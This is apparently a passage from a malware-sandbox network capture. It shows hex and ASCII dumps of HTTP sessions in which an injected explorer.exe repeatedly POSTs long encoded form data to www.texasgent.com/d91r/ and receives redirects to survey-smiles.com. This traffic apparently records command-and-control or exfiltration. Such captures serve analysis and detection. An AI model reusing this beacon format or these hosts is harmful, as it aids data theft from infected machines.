63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 75 73 65 72 73 2e 35 31 2e 6c 61 2f 32 31 31 31 33 32 33 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <style>body{background-color:#FFFFFF}</style> <title>---PC</title>...--><script>(function(){ var bp = document.createElement('script'); var curProtocol = window.location.protocol.split(':')[0]; if (curProtocol === 'https'){ bp.src = 'https://zz.bdstatic.com/linksubmit/push.js'; } else{ bp.src = 'http://push.zhanzhang.baidu.com/push.js'; } var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(bp, s);})();</script><script>var _hmt = _hmt \|\| [];(function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?c5f848a241986c827a6aea67b151df57"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s);})();</script><script type="text/javascript" src="https://js.users.51.la/21113239.js"></script> <script langu
Mar 20, 2023 15:21:58.576405048 CET	1169	IN	Data Raw: 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0d Data Ascii: age="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html"; }</script> <script id="js"></script> <script

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.11.20	49897	81.17.29.148	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:23:40.672765017 CET	1197	OUT	POST /d91r/ HTTP/1.1 Host: www.texasgent.com Connection: close Content-Length: 184 Cache-Control: no-cache Origin: http://www.texasgent.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.texasgent.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 50 78 54 6b 65 39 5a 47 51 56 64 77 31 32 4f 68 77 4d 46 6d 30 53 7e 42 6e 33 4d 51 6c 4d 37 33 7e 64 30 56 6f 54 76 69 41 73 67 30 57 4b 69 41 61 49 57 67 6f 6b 41 58 43 49 69 47 37 2d 51 41 4f 78 46 39 7e 38 61 65 75 48 42 58 34 36 6a 74 32 65 66 63 4c 46 4d 59 43 66 67 4a 66 6a 68 4e 43 41 4f 30 38 4c 74 68 6e 63 73 33 41 62 63 65 70 72 54 79 32 52 32 77 73 4f 38 37 4e 4a 49 6f 76 42 53 42 38 5f 4b 6a 6c 59 43 66 39 4c 50 70 36 52 46 4e 65 54 77 77 72 53 73 66 70 73 58 78 34 65 74 32 48 65 49 79 4f 62 51 33 66 49 35 75 79 77 29 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=PxTke9ZGQVdw12OhwMFm0S~Bn3MQlM73~d0VoTviAsg0WKiAaIWgokAXCIiG7-QAOxF9~8aeuHBX46jt2efcLFMYCfgJfjhNCAO08Lthncs3AbceprTy2R2wsO87NJIovBSB8_KjlYCf9LPp6RFNeTwwrSsfpsXx4et2HeIyObQ3fI5uyw).
Mar 20, 2023 15:23:40.692399979 CET	1197	IN	HTTP/1.1 302 Found cache-control: max-age=0, private, must-revalidate connection: close content-length: 11 date: Mon, 20 Mar 2023 14:23:39 GMT location: http://survey-smiles.com server: nginx set-cookie: sid=cfc6975a-c72a-11ed-bd09-a57f2481f776; path=/; domain=.texasgent.com; expires=Sat, 07 Apr 2091 17:37:47 GMT; max-age=2147483647; HttpOnly Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 Data Ascii: Redirecting

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.11.20	49898	81.17.29.148	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:23:43.207619905 CET	1198	OUT	POST /d91r/ HTTP/1.1 Host: www.texasgent.com Connection: close Content-Length: 524 Cache-Control: no-cache Origin: http://www.texasgent.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.texasgent.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 50 78 54 6b 65 39 5a 47 51 56 64 77 31 57 7e 68 38 50 39 6d 79 79 7e 43 72 58 4d 51 77 38 37 7a 7e 64 6f 56 6f 58 66 79 44 65 30 30 58 72 7e 41 49 4d 43 67 72 6b 41 58 4a 6f 69 48 6b 75 51 65 4f 78 49 65 7e 2d 4f 65 75 45 39 58 71 63 66 74 77 75 66 54 46 6c 4d 62 56 76 67 45 49 7a 68 39 43 41 43 43 38 4b 35 68 67 73 51 33 42 5a 30 65 34 71 54 31 68 42 32 36 6b 75 38 30 45 70 49 79 76 42 65 4a 38 39 61 64 6c 4b 65 66 39 6f 58 70 37 52 46 4b 51 6a 77 33 32 43 73 41 70 70 79 57 68 75 64 73 51 76 73 77 47 34 42 33 65 70 51 52 69 38 6e 73 35 50 53 4a 76 69 44 43 31 6d 79 66 6d 33 47 32 4c 63 50 39 75 43 73 36 51 58 79 4c 44 49 45 63 43 6f 72 7a 53 6b 65 31 28 4e 7e 52 48 46 4f 32 4a 43 49 48 6a 66 68 65 65 61 4e 35 44 37 76 6b 66 30 6c 35 43 41 74 6e 6b 41 7e 42 34 73 6c 59 48 77 44 33 6b 32 78 46 63 71 36 62 70 50 4e 4c 6a 36 6c 51 4b 42 68 7a 76 6d 44 31 52 70 4a 31 54 41 31 47 68 7a 67 30 47 39 45 46 47 65 51 54 73 33 39 68 62 36 7e 38 57 58 45 4a 6c 58 47 73 63 53 54 42 58 36 5a 49 64 73 5a 4b 31 5a 44 34 67 42 49 42 41 78 4d 34 52 5a 71 30 44 45 72 66 74 50 71 64 4f 6f 7e 42 7a 39 46 4f 6d 51 56 31 4b 50 32 37 62 34 57 52 4d 59 51 63 64 35 4b 46 52 31 7a 4f 56 6b 37 42 50 78 66 4d 63 2d 36 61 77 6f 36 74 70 2d 47 51 67 41 58 7a 6a 5a 51 6a 6f 65 4f 58 7e 6c 49 77 31 46 54 31 62 54 5a 44 6d 37 72 72 6c 31 52 59 6e 69 61 79 6a 77 34 49 32 39 77 78 7a 66 4a 51 5a 59 75 6d 30 65 6f 64 56 67 38 32 6e 72 6e 53 6b 72 39 65 4c 74 7e 6e 64 47 77 51 7a 45 41 6d 7e 4f 4a 37 74 44 4b 65 7a 4a 42 5a 4f 79 4a 63 32 4e 6c 6f 48 52 7a 35 4b 5a 30 2e 00 00 00 00 00 00 00 00 Data Ascii: pO=PxTke9ZGQVdw1W~h8P9myy~CrXMQw87z~doVoXfyDe00Xr~AIMCgrkAXJoiHkuQeOxIe~-OeuE9XqcftwufTFlMbVvgEIzh9CACC8K5hgsQ3BZ0e4qT1hB26ku80EpIyvBeJ89adlKef9oXp7RFKQjw32CsAppyWhudsQvswG4B3epQRi8ns5PSJviDC1myfm3G2LcP9uCs6QXyLDIEcCorzSke1(N~RHFO2JCIHjfheeaN5D7vkf0l5CAtnkA~B4slYHwD3k2xFcq6bpPNLj6lQKBhzvmD1RpJ1TA1Ghzg0G9EFGeQTs39hb6~8WXEJlXGscSTBX6ZIdsZK1ZD4gBIBAxM4RZq0DErftPqdOo~Bz9FOmQV1KP27b4WRMYQcd5KFR1zOVk7BPxfMc-6awo6tp-GQgAXzjZQjoeOX~lIw1FT1bTZDm7rrl1RYniayjw4I29wxzfJQZYum0eodVg82nrnSkr9eLt~ndGwQzEAm~OJ7tDKezJBZOyJc2NloHRz5KZ0.
Mar 20, 2023 15:23:43.225188017 CET	1199	IN	HTTP/1.1 302 Found cache-control: max-age=0, private, must-revalidate connection: close content-length: 11 date: Mon, 20 Mar 2023 14:23:42 GMT location: http://survey-smiles.com server: nginx set-cookie: sid=d149618e-c72a-11ed-b928-a57f33c2ebb4; path=/; domain=.texasgent.com; expires=Sat, 07 Apr 2091 17:37:50 GMT; max-age=2147483647; HttpOnly Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 Data Ascii: Redirecting

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.11.20	49899	81.17.29.148	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Mar 20, 2023 15:23:45.739590883 CET	1202	OUT	POST /d91r/ HTTP/1.1 Host: www.texasgent.com Connection: close Content-Length: 51812 Cache-Control: no-cache Origin: http://www.texasgent.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.texasgent.com/d91r/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 70 4f 3d 50 78 54 6b 65 39 5a 47 51 56 64 77 31 57 7e 68 38 50 39 6d 79 79 7e 43 72 58 4d 51 77 38 37 7a 7e 64 6f 56 6f 58 66 79 44 66 4d 30 57 5a 61 41 4c 75 71 67 71 6b 41 58 4b 6f 69 4b 6b 75 52 43 4f 78 42 58 7e 2d 7a 6c 75 42 78 58 71 50 6e 74 77 64 6e 54 55 56 4d 65 62 50 67 47 66 6a 68 70 43 41 4f 57 38 4f 5a 62 6e 63 6b 33 41 61 73 65 70 4e 76 79 6a 52 32 77 6b 75 38 4f 53 5a 49 55 76 42 4b 6e 38 39 57 64 6c 4a 36 66 38 64 4c 70 39 47 78 4b 64 54 77 30 28 69 74 4f 6e 4a 79 6e 68 75 59 4c 51 76 74 50 47 36 74 33 65 71 59 52 77 4c 7a 76 34 76 53 4a 30 69 44 46 28 47 7e 62 6d 33 79 75 4c 64 72 39 75 43 55 36 52 33 79 4c 52 5a 45 44 47 49 71 5a 46 45 66 6a 30 74 79 5a 48 47 79 69 4a 44 63 48 6a 4c 4a 65 65 74 52 35 51 65 44 6b 42 45 6c 37 63 77 74 30 39 51 7e 6a 34 6f 4a 71 48 30 4f 43 6b 30 39 46 64 4c 32 62 28 2d 4e 49 6e 61 6b 5a 58 78 68 69 6b 47 66 35 52 6f 34 75 54 41 31 57 68 32 41 30 47 49 4d 46 49 5f 51 63 71 6e 39 69 54 61 28 6d 66 33 49 58 6c 57 71 6b 63 53 71 4d 58 35 31 49 50 63 5a 4b 78 36 72 6e 71 78 4a 4a 43 78 4e 33 53 70 71 6e 44 45 6e 70 74 4b 47 6e 4f 2d 4b 42 31 4d 35 4f 77 51 56 32 59 5f 32 42 52 59 57 58 62 49 51 63 64 35 32 37 52 31 50 4f 56 56 7a 42 65 53 58 4d 4e 4a 6d 61 28 49 36 76 70 2d 47 42 67 41 61 50 6a 5a 6f 42 6f 65 7e 74 7e 6e 6b 77 31 55 44 31 61 53 5a 43 74 72 72 75 68 31 52 70 6b 53 58 77 6a 7a 63 2d 32 38 41 2d 7a 73 39 51 59 59 65 6d 77 65 6f 43 46 77 38 4c 33 4c 6e 2d 67 75 6c 61 4c 74 6a 63 64 48 31 56 7a 48 41 6d 74 70 4a 69 28 43 79 62 6e 59 52 62 49 58 74 71 35 63 52 4f 59 78 7a 37 58 76 44 78 7a 4c 54 4e 73 45 75 74 6a 67 79 79 77 66 71 5f 72 51 46 42 74 41 64 51 77 59 7a 35 7a 43 50 6a 59 5f 44 62 53 5f 68 38 38 37 33 77 47 4b 28 44 71 5f 76 6e 32 31 6b 50 69 54 7a 54 4f 58 68 69 58 50 53 6c 61 58 70 4e 4a 61 46 55 78 6e 35 34 34 39 68 4f 6b 36 72 55 73 4c 54 6e 76 69 63 5f 34 30 30 36 71 35 43 35 30 6e 30 68 72 55 64 70 52 74 4f 78 67 78 42 45 59 6c 4a 62 72 38 69 38 34 38 39 30 7a 70 5a 45 52 30 79 49 45 63 33 37 56 51 48 6c 43 63 79 54 6d 79 41 43 72 75 78 58 69 52 75 46 4d 59 62 72 46 7a 67 75 55 75 61 41 6f 35 4e 36 72 69 69 78 67 79 4f 6b 73 32 78 53 41 6b 4c 52 57 31 7e 37 4e 77 71 58 47 77 61 34 43 55 6b 50 67 49 6b 59 4b 50 38 62 61 70 6a 62 58 47 36 56 52 77 6f 65 38 30 45 38 50 69 64 66 49 66 71 74 75 46 54 43 75 31 74 42 7e 78 37 70 76 31 6b 65 6b 65 61 31 30 59 56 78 4a 31 28 71 28 6e 4c 30 64 4f 6e 79 6e 72 4b 5a 30 4f 47 78 42 35 74 35 6c 53 6b 6f 6d 64 4b 44 38 79 48 6b 47 6f 77 30 79 4a 39 6d 4d 55 4c 48 63 5f 49 35 45 68 71 5a 52 72 37 66 49 62 31 32 70 39 41 6d 35 53 59 65 67 37 6c 65 6b 70 62 36 68 6c 70 44 6c 31 76 47 4c 56 47 32 56 6b 68 52 52 75 4d 77 28 39 68 69 7a 76 69 44 79 58 4e 5f 38 45 69 78 71 6d 35 5a 45 4c 56 71 50 78 39 79 53 37 42 58 32 63 48 54 39 5a 74 49 59 64 34 70 44 51 46 38 32 38 51 65 71 45 48 43 32 72 28 46 78 4c 51 53 52 63 41 6d 74 74 63 56 74 38 37 7a 4d 5a 50 6b 61 75 7a 4b 37 71 68 70 49 37 75 69 28 75 7e 54 54 65 70 6a 28 4b 53 63 39 47 45 67 59 4b 45 48 39 73 37 64 52 61 45 79 37 44 66 30 75 4d 6c 55 59 67 32 4e 76 6c 61 69 7a 77 59 4f 30 42 66 2d 54 36 55 70 6d 64 68 48 69 51 6d 76 47 78 49 7a 78 4b 44 50 44 55 5a 63 37 77 42 67 5a 43 56 42 47 6d 6d 45 4d 35 73 48 49 6b 79 4c 56 64 79 43 54 33 32 49 76 43 50 61 39 49 56 74 6a 6b 4a 37 66 30 33 76 44 63 73 63 79 6d 53 6c 5a 74 65 56 62 76 66 49 48 63 67 55 51 74 64 2d 7e 53 75 57 38 35 78 68 4f 48 32 52 61 6b 59 33 72 65 34 30 79 44 41 5a 70 4f 69 6b 67 79 4c 68 66 50 70 32 5a 31 77 54 69 42 79 76 52 38 63 35 42 77 50 52 68 55 51 6d 59 34 64 6d 79 45 61 57 77 5a 6e 57 6a 42 5a 47 37 34 6c 36 44 58 4c 42 45 72 49 34 77 30 32 4a 6f 55 74 4d 72 55 28 66 73 6c 59 61 76 57 4d 76 54 42 6b 44 79 35 38 66 44 46 39 2d 71 6a 72 30 39 74 39 55 35 71 53 47 50 70 72 72 6e 55 76 48 32 7a 52 74 48 62 30 36 5a 33 30 48 58 51 76 6d 34 56 30 59 6a 49 51 43 6d 54 55 4d 7e 6c 41 41 62 5a 72 57 63 63 4b 4d 4f 48 6b 6c 47 51 54 6d 7e 38 51 70 4a 77 77 73 52 30 49 51 46 5f 33 66 64 42 54 77 6e 33 59 63 6b 7a 61 56 28 35 6b 4d 69 38 7e 38 32 79 63 76 69 2d 5a 37 74 78 72 58 41 54 74 53 Data Ascii: pO=PxTke9ZGQVdw1W~h8P9myy~CrXMQw87z~doVoXfyDfM0WZaALuqgqkAXKoiKkuRCOxBX~-zluBxXqPntwdnTUVMebPgGfjhpCAOW8OZbnck3AasepNvyjR2wku8OSZIUvBKn89WdlJ6f8dLp9GxKdTw0(itOnJynhuYLQvtPG6t3eqYRwLzv4vSJ0iDF(G~bm3yuLdr9uCU6R3yLRZEDGIqZFEfj0tyZHGyiJDcHjLJeetR5QeDkBEl7cwt09Q~j4oJqH0OCk09FdL2b(-NInakZXxhikGf5Ro4uTA1Wh2A0GIMFI_Qcqn9iTa(mf3IXlWqkcSqMX51IPcZKx6rnqxJJCxN3SpqnDEnptKGnO-KB1M5OwQV2Y_2BRYWXbIQcd527R1POVVzBeSXMNJma(I6vp-GBgAaPjZoBoe~t~nkw1UD1aSZCtrruh1RpkSXwjzc-28A-zs9QYYemweoCFw8L3Ln-gulaLtjcdH1VzHAmtpJi(CybnYRbIXtq5cROYxz7XvDxzLTNsEutjgyywfq_rQFBtAdQwYz5zCPjY_DbS_h8873wGK(Dq_vn21kPiTzTOXhiXPSlaXpNJaFUxn5449hOk6rUsLTnvic_4006q5C50n0hrUdpRtOxgxBEYlJbr8i84890zpZER0yIEc37VQHlCcyTmyACruxXiRuFMYbrFzguUuaAo5N6riixgyOks2xSAkLRW1~7NwqXGwa4CUkPgIkYKP8bapjbXG6VRwoe80E8PidfIfqtuFTCu1tB~x7pv1kekea10YVxJ1(q(nL0dOnynrKZ0OGxB5t5lSkomdKD8yHkGow0yJ9mMULHc_I5EhqZRr7fIb12p9Am5SYeg7lekpb6hlpDl1vGLVG2VkhRRuMw(9hizviDyXN_8Eixqm5ZELVqPx9yS7BX2cHT9ZtIYd4pDQF828QeqEHC2r(FxLQSRcAmttcVt87zMZPkauzK7qhpI7ui(u~TTepj(KSc9GEgYKEH9s7dRaEy7Df0uMlUYg2NvlaizwYO0Bf-T6UpmdhHiQmvGxIzxKDPDUZc7wBgZCVBGmmEM5sHIkyLVdyCT32IvCPa9IVtjkJ7f03vDcscymSlZteVbvfIHcgUQtd-~SuW85xhOH2RakY3re40yDAZpOikgyLhfPp2Z1wTiByvR8c5BwPRhUQmY4dmyEaWwZnWjBZG74l6DXLBErI4w02JoUtMrU(fslYavWMvTBkDy58fDF9-qjr09t9U5qSGPprrnUvH2zRtHb06Z30HXQvm4V0YjIQCmTUM~lAAbZrWccKMOHklGQTm~8QpJwwsR0IQF_3fdBTwn3YckzaV(5kMi8~82ycvi-Z7txrXATtSpCQ5rFb-YTrbklPsmQMyELZv5RW5UzQmRH31tR3Ed8Od4eusrcFfW82wsFA3MUeNaScsvafpYH2TOaCY~W7AI4SowOw0NZ5Bf7D3OU0yvfpLoi7GsQ2tS8fNQFaLijNR~8VLbGhDec6pio5h~FpStrQeMDjcLl(E5kBlsFCR(EE24YkiUocpcEeUV9uEO_BlczKRXitNKsq32_~r5Hm7zRMeLk9M(2NE6oBunuqVz4SUdC6m4CkJEHSsa_e3JM2R2AP_5wRYe9ktvDNOqQzF3_CeUNA7BchLF1VaeoeLMlnvjekROuZPE8Y4ffyplbUWzxgKNF7MTzak(okCr2kQprCLGS1vSPdBFjRi9BCe(ArlJwB5ipQOJUiaoexWRFVU~cu2wzybOt8u1AhMNYFTVH0qO22JR9Tzexl0mQVs0PSNR4Ej5AWYroWV7b49HfnxXhBR669h9GlowTQGcxPxziPqlWSX11FlcPj9GcXtCBC1PCGOVps-1WZlBuob4sXaymrl0rLyku6mLYbvvckXWqepBCK_v29Zp9B5B_np7l4RIu(ixg6EA5ecw0gyZzpfCJim4ll1D9uH2zZivRWliV~jotKcMhnM3ff73OzWTgLwfhPO04fRBL7WnL7O9Waj3TgsFlLrLBItDELhaMbBEAoDaPR2ecYMl7FVx1uy(ez7ZkYm5B4GNP1RCU6AtZnruO9Uc5WWh-28VAbyXCXynDJyoFY7AMHwUr~du06n8veTMRMxDIVvDkzUvwu_PrPlli79fzZclKT2jnQSF77xTMr6uesCJpFURwNh3xznyeJF
Mar 20, 2023 15:23:45.739727974 CET	1212	OUT	Data Raw: 32 74 63 50 56 6d 32 66 56 30 70 38 54 30 7a 2d 61 37 73 68 42 6c 72 42 44 6c 44 30 50 38 36 64 4a 39 6d 48 35 35 41 69 28 76 33 43 4c 54 51 41 33 46 48 30 70 44 67 35 32 75 71 35 41 75 70 77 39 61 78 55 54 6a 55 4a 31 6e 46 62 62 47 62 43 30 59 Data Ascii: 2tcPVm2fV0p8T0z-a7shBlrBDlD0P86dJ9mH55Ai(v3CLTQA3FH0pDg52uq5Aupw9axUTjUJ1nFbbGbC0YVYn92KieBAUeWBh18GuB4AthrMn5uFwQHNIxPIQbnH9hON269YGyDs(frvmpA-uHbWZaBtkC2Al-D2wtJUC6X3sGxUuoNOdeRjB1H16STTLu10RDd7pZmAjD4nt8jzmqDxcUtk13KcChUAI9azJmR3ANGAS76D6mF
Mar 20, 2023 15:23:45.752279043 CET	1215	OUT	Data Raw: 78 52 74 70 76 50 39 5f 71 32 42 62 63 59 49 69 31 52 65 76 47 71 32 50 6a 35 6a 56 34 4c 39 74 54 4a 4e 63 7a 58 4d 37 43 55 64 58 4b 36 52 2d 33 31 69 46 30 56 35 34 42 36 59 4a 41 61 44 56 75 6a 55 57 63 4c 63 79 75 36 4f 62 67 31 52 44 58 61 Data Ascii: xRtpvP9_q2BbcYIi1RevGq2Pj5jV4L9tTJNczXM7CUdXK6R-31iF0V54B6YJAaDVujUWcLcyu6Obg1RDXaAlFI76~HOA(rP5lrXnRW69gpDnUKOa1qzqGB6aBpGVXtdVY6Eianib7mHvYX2WLhFCxwLROF7AWFJfPq38WaHafPlLdKVz0Sd7NDTNsu2J7kcp4-vbEm(lPvymcMgv7Y0qnWm9nIMXN_OaiswD2ZCMFo(v5rCrRmZ
Mar 20, 2023 15:23:45.752384901 CET	1220	OUT	Data Raw: 30 41 4a 76 68 51 79 51 52 78 45 66 6c 42 4f 6e 61 54 36 47 42 31 51 57 42 4b 43 6f 4e 67 51 6d 52 39 37 4d 49 5a 32 6c 76 66 34 4a 39 39 74 34 75 55 69 75 36 72 70 30 50 70 42 43 6b 56 68 63 4a 67 43 5a 50 61 51 75 41 59 79 30 79 57 51 35 7a 55 Data Ascii: 0AJvhQyQRxEflBOnaT6GB1QWBKCoNgQmR97MIZ2lvf4J99t4uUiu6rp0PpBCkVhcJgCZPaQuAYy0yWQ5zUui7pgmS5AbSpzDAm8Y5t1qdcmNLEj0DzPumxnQxnHT1ZL-EUB_ExdaamROO2PWwLU5zUy2Nt2XKy4c01Vtt8RDCiPPYsSbooAsTdF7fzxZ8CuJa_7wnAaujGFrfm7nT_6Q(2bkdFfGeIxkGficK4szkzwIrURJIAD
Mar 20, 2023 15:23:45.752450943 CET	1222	OUT	Data Raw: 6c 75 4f 2d 65 65 6e 78 62 55 35 65 59 2d 72 6b 37 54 7a 42 6e 73 58 39 35 50 4e 54 46 63 6d 57 59 59 53 72 4d 37 49 2d 4a 2d 6b 5a 31 4d 63 37 70 73 47 4a 43 5f 38 70 78 4d 38 4c 71 4f 4a 30 4f 64 50 69 68 43 65 4f 79 52 35 34 4a 4a 6a 4c 66 6f Data Ascii: luO-eenxbU5eY-rk7TzBnsX95PNTFcmWYYSrM7I-J-kZ1Mc7psGJC_8pxM8LqOJ0OdPihCeOyR54JJjLfoztdWMqxKE1RR5DSlNwWB8ByOB6T2xdK9x81qORqiPkjVfMihigc5b4qIaVbD2aXhk-xzPpNEu9AlMW5M4-AbgOZRi44hlxcMdCvutWpt~26jde2LDRNc4Eva0FzpiVD9BIHt4jE6POqMdMbjX2Pe2-X8WJ6H7nLJQ
Mar 20, 2023 15:23:45.752650023 CET	1224	OUT	Data Raw: 58 4f 67 38 58 44 5a 58 74 44 43 34 50 51 4c 6e 46 66 46 5f 38 76 69 44 44 4d 51 35 54 33 47 2d 38 76 6b 7a 43 5f 33 76 28 45 71 2d 4a 42 50 71 72 66 47 44 49 69 32 61 62 7a 4a 32 41 6f 37 35 55 66 68 6d 73 78 49 31 77 59 74 35 43 63 30 55 56 73 Data Ascii: XOg8XDZXtDC4PQLnFfF_8viDDMQ5T3G-8vkzC_3v(Eq-JBPqrfGDIi2abzJ2Ao75UfhmsxI1wYt5Cc0UVs2GGtm_ma34rkWDn_jxAsvAaT76B66eSKOhp7uhWnlxI1a0yud01yUUYiPH(KVNficWZrIIlNRHTwcElnNRQ4pBdIFB2-(PnNLujjclLdHnLY80IPaiMLN2VuyBL6nWdoIKaP5RgkXFsy49j5rM02nGBN4jQy~dhe2
Mar 20, 2023 15:23:45.752826929 CET	1225	OUT	Data Raw: 63 33 4b 4d 42 47 6c 52 75 58 6a 4f 54 55 63 53 62 74 48 39 79 38 51 38 4a 5f 58 4f 76 64 49 35 37 71 76 6b 6e 34 4d 62 31 6a 6b 72 7a 31 4a 41 30 66 77 30 7a 5a 49 34 34 57 78 2d 56 46 37 75 63 74 67 42 31 31 61 61 6a 52 75 55 54 76 55 69 46 6d Data Ascii: c3KMBGlRuXjOTUcSbtH9y8Q8J_XOvdI57qvkn4Mb1jkrz1JA0fw0zZI44Wx-VF7uctgB11aajRuUTvUiFmMZ51~9GN5gP4Fl45KiTnFcdhju1uMO2NT5KiLZXsu9ya07c8LBbfpY1DKBhFlcuLjYdS(Fx09ZW_wGO5fKKEpKxi0uHaZMNuw6sJCcYEIzhhYAigmncRwydlfufB6uQBchZtJWPrYITMkAVA3WMys9(Kj0GXGrYcl
Mar 20, 2023 15:23:45.753004074 CET	1235	OUT	Data Raw: 5a 67 64 66 31 37 68 70 4b 5f 57 6c 58 37 63 4e 4d 65 35 63 47 41 42 4c 68 6c 77 7a 31 31 52 41 4a 67 54 52 6c 62 77 54 36 51 71 5a 32 4c 4e 2d 6f 6f 6f 50 71 50 6c 50 4e 71 39 50 66 65 31 6e 63 66 51 66 31 42 64 39 77 2d 61 6e 4d 4e 35 73 66 4d Data Ascii: Zgdf17hpK_WlX7cNMe5cGABLhlwz11RAJgTRlbwT6QqZ2LN-oooPqPlPNq9Pfe1ncfQf1Bd9w-anMN5sfMFaHpKuFoK83ZNGCiuquhqP9vgAdZhzSRVPy6qd8roTVKlJy72SDYlUg4hSRAIJF9PR7HJBF5Ha7rKvoSpk4QNKR4zrCnywDV(2IAaS(Xmi48CnHKC5uf5yxzHJx-bPZW(ggOZl1bx2vJLjE5fUrBmIzfzQY7S3mtb
Mar 20, 2023 15:23:45.753117085 CET	1238	OUT	Data Raw: 7e 30 52 53 30 36 52 76 50 4c 33 43 32 75 55 48 6b 62 4f 66 63 6f 49 53 5a 61 31 54 6b 47 7e 46 4f 62 59 51 76 35 35 42 68 76 54 47 42 77 35 63 4c 32 45 39 64 79 28 6b 35 58 33 72 57 71 35 54 52 56 58 65 53 6a 35 33 65 6d 35 5a 67 39 47 6b 74 63 Data Ascii: ~0RS06RvPL3C2uUHkbOfcoISZa1TkG~FObYQv55BhvTGBw5cL2E9dy(k5X3rWq5TRVXeSj53em5Zg9GktcRcpsPilBeRdv(9HgAN(YnISPKWzEf_VebUq0JxwTv7OIFsr5QmZF474Zc2qFiF8kgnqPqx2HzyxLGEUCwKW0hndK9qd_0YfJBPanAP0TWguyvW8mUbLgOP5DIljmwfW-IAvrNOXog5y0VAuX1kjv1jqNPTeIgHqPU
Mar 20, 2023 15:23:45.759057999 CET	1238	IN	HTTP/1.1 302 Found cache-control: max-age=0, private, must-revalidate connection: close content-length: 11 date: Mon, 20 Mar 2023 14:23:45 GMT location: http://survey-smiles.com server: nginx set-cookie: sid=d2cbc588-c72a-11ed-bbdf-a57fa376f717; path=/; domain=.texasgent.com; expires=Sat, 07 Apr 2091 17:37:52 GMT; max-age=2147483647; HttpOnly Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 Data Ascii: Redirecting
Mar 20, 2023 15:23:45.765024900 CET	1243	OUT	Data Raw: 6c 37 68 7a 48 48 50 5f 57 6a 67 64 6e 5f 6f 67 46 5f 54 44 65 66 52 79 65 4f 45 35 33 52 76 4f 55 50 64 4e 35 4c 36 73 71 33 4d 45 49 38 4a 39 6c 59 32 50 4a 38 79 5f 61 49 64 51 56 65 56 61 64 73 33 7a 43 65 31 64 35 50 5a 4a 6e 77 71 35 59 73 Data Ascii: l7hzHHP_Wjgdn_ogF_TDefRyeOE53RvOUPdN5L6sq3MEI8J9lY2PJ8y_aIdQVeVads3zCe1d5PZJnwq5YsUC2cfw6Ctqk9HQAFyMCenliSEhnHl_aCwgZYLrLHzQs7~7oBNa7UO_k5zazd2IzDFelFudcGFtUPEQq8vcH8NuHDyqgJ8bvOrb(7lAKkxcC8SqIb0aBUWNjQr91lrK1Xk10NQqiv7T3NVt1Rcd03hYANjYMmAqYsh
Mar 20, 2023 15:23:45.765145063 CET	1249	OUT	Data Raw: 77 53 49 51 54 67 73 50 55 5a 47 52 30 4f 6d 6f 66 41 35 4a 72 69 43 64 4e 48 43 47 52 72 62 4e 4a 72 78 66 52 69 4a 5f 45 30 6b 46 61 47 47 76 56 42 64 34 53 4a 79 58 6c 46 49 6d 53 76 79 4a 32 43 62 62 69 6e 52 75 44 4b 77 78 7a 73 79 74 4d 4e Data Ascii: wSIQTgsPUZGR0OmofA5JriCdNHCGRrbNJrxfRiJ_E0kFaGGvVBd4SJyXlFImSvyJ2CbbinRuDKwxzsytMNuo~Gy8huOY6uYT3AI8b0lfppVatWoJZBIl7yKrBoe9lMgMFXBcaoV_85UJVZ(8duMJilnAKwUOjd2JWqMTcltwToir7CaYjWYQDYLqAT3-qxorVb3FW1OmJF8AGF32jFzvfDnKevbtAklkisNrKo6uS6nHK_c8ron

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.11.20	49900	81.17.29.148	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
